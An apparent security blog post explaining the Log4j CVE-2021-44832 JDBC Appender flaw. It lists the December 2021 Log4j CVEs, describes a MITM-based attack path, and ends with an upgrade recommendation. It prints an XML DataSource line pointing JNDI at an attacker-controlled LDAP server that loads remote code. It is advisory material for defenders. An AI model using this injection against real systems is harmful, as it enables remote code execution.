Log4j 2.17.0 RCE Vulnerability — CVE-2021–44832

Hello Friends!. First let me convey my wishes, Belated Merry Christmas and Advance Happie New Year 2022.

2021 December has been more fascinating for the Infosec peoples, that to with LOG4j. We already had Four CVEs against Log4j published on December. Here comes the fifth

CVE-2021–44832:(JDBC Appender — RCE )

Published: December 28, 2021; 3:15:08 PM

V3.1: 6.6 MEDIUM

V2.0: 6.0 MEDIUM

CVE-2021–45105:(Thread Context Map — Uncontrolled recursion from self referential lookups)

Published: December 18, 2021;7:15:07 AM

V3.1: 7.5 HIGH
V2.0: 5.0 MEDIUM

CVE-2021–45046:(Non-default conf. on Thread Context Map result in RCE and information leak via JNDI lookup)

Published: December 14, 2021;2:15:07 PM

V3.1: 9.0 CRITICAL

V2.0: 5.1 MEDIUM

CVE-2021–4104:(JMS Appender on log4j 1.2 RCE similar to CVE-2021–44228)

Published: December 14, 2021; 7:15:12 AM

V3.1: 8.1 HIGH

V2.0: 6.8 MEDIUM

CVE-2021–44228:(Vulnerable JNDI — RCE)

Published: December 10,2021; 5:15:09 AM

V3.1: 10.0 CRITICAL

V2.0: 9.3 HIGH

Now lets see what we have on CVE-2021–44832. It is discovered by Yaniv Nizry and Liad Levy from checkmarx while they were reviewing the Code to uncover vulnerabilities. They identified that there is a way to configure the log4j to fetch the database source dynamically in JDBC Appender via JDBC deserialization using JNDI.

Q1: Again JNDI? but JNDI lookup was disabled in 2.16.0?

Exactly JNDI lookup was disabled in 2.16.0, but this vulnerability doesn't use the Disabled lookup feature. JDBC Appender uses JndiManager when accessing JNDI and this is controlled via a system property which holds the Configuration xml file details(the URI from where it should load the .xml file).

System.setProperty(“log4j2.configurationFile”,”http://127.0.0.1:8888/log4j2.xml");

And the parameter at risk is the DATASOURCE element in configuration xml file which holds the JNDI URI to load the remote database location. Also there is no restriction to add a LDAP url to it, thats were the similar approach of CVE-2021–44228 comes into action.

<DataSource jndiName=”ldap://127.0.0.1:1389/#log4jRCE”/>

Here is what the flow looks like

Source: Checkmarx

Attack Path:

1. Malicious configuration file containing the DATASOURCE element pointing to the attacker controlled LDAP referral server should be upload or hosted into a remote server or a cloud storage.
2. When initializing the logger object, a request to the configuration file will be made, thats where the manipulation should happen to target the malicious configuration file
3. Attacker should perform a MITM or DNS poisoning to capture and manipulate/inject the request fetching the legit Config file from a trusted remote server to the address of the attacker controlled sever hosting the malicious config file
4. When this config.xml is loaded, containing the <Datasource jndiName> to the address of the malicious attacker controlled LDAP server, as shown below

<DataSource jndiName=”ldap://127.0.0.1:1389/Log4jRCE” />

5. Similar to the setup discussed in CVE-2021–44228, if you want to revisit dont hesitate to hit/mouseover this hyperlink to see the attacker setup

6. when the configuration is loaded, the JDBC will load the jndi url given in the Datasource element, as there is no restriction for including LDAP url

7. Hence, there will be a request to the attacker controlled LDAP server which in turn connect to the HTTP server where the Exploit code is hosted, in our case Log4jRCE.class file(to popup a CALC.exe or opening command prompt and ping google.com)

8. The class file will be deserialized at the victim end and the necessary action will be executed(CALC.exe will be invoked or Commandprompt will be invoked and ping google.com will be executed)

The complexity of the vulnerability is Higher than the other CVEs, as the attacker needs to have control over the Configuration. Because of which the Vulnerability severity is rated to MEDIUM.

Recommendations:

The only recommendation provided is to upgrade to 2.17.1.

Before 2.17.1, the jndi lookup was made directly using the java internal class, in the latest update 2.17.1, it uses the JNDI wrapper, where the jndi lookup was disabled to mitigate this vulnerability.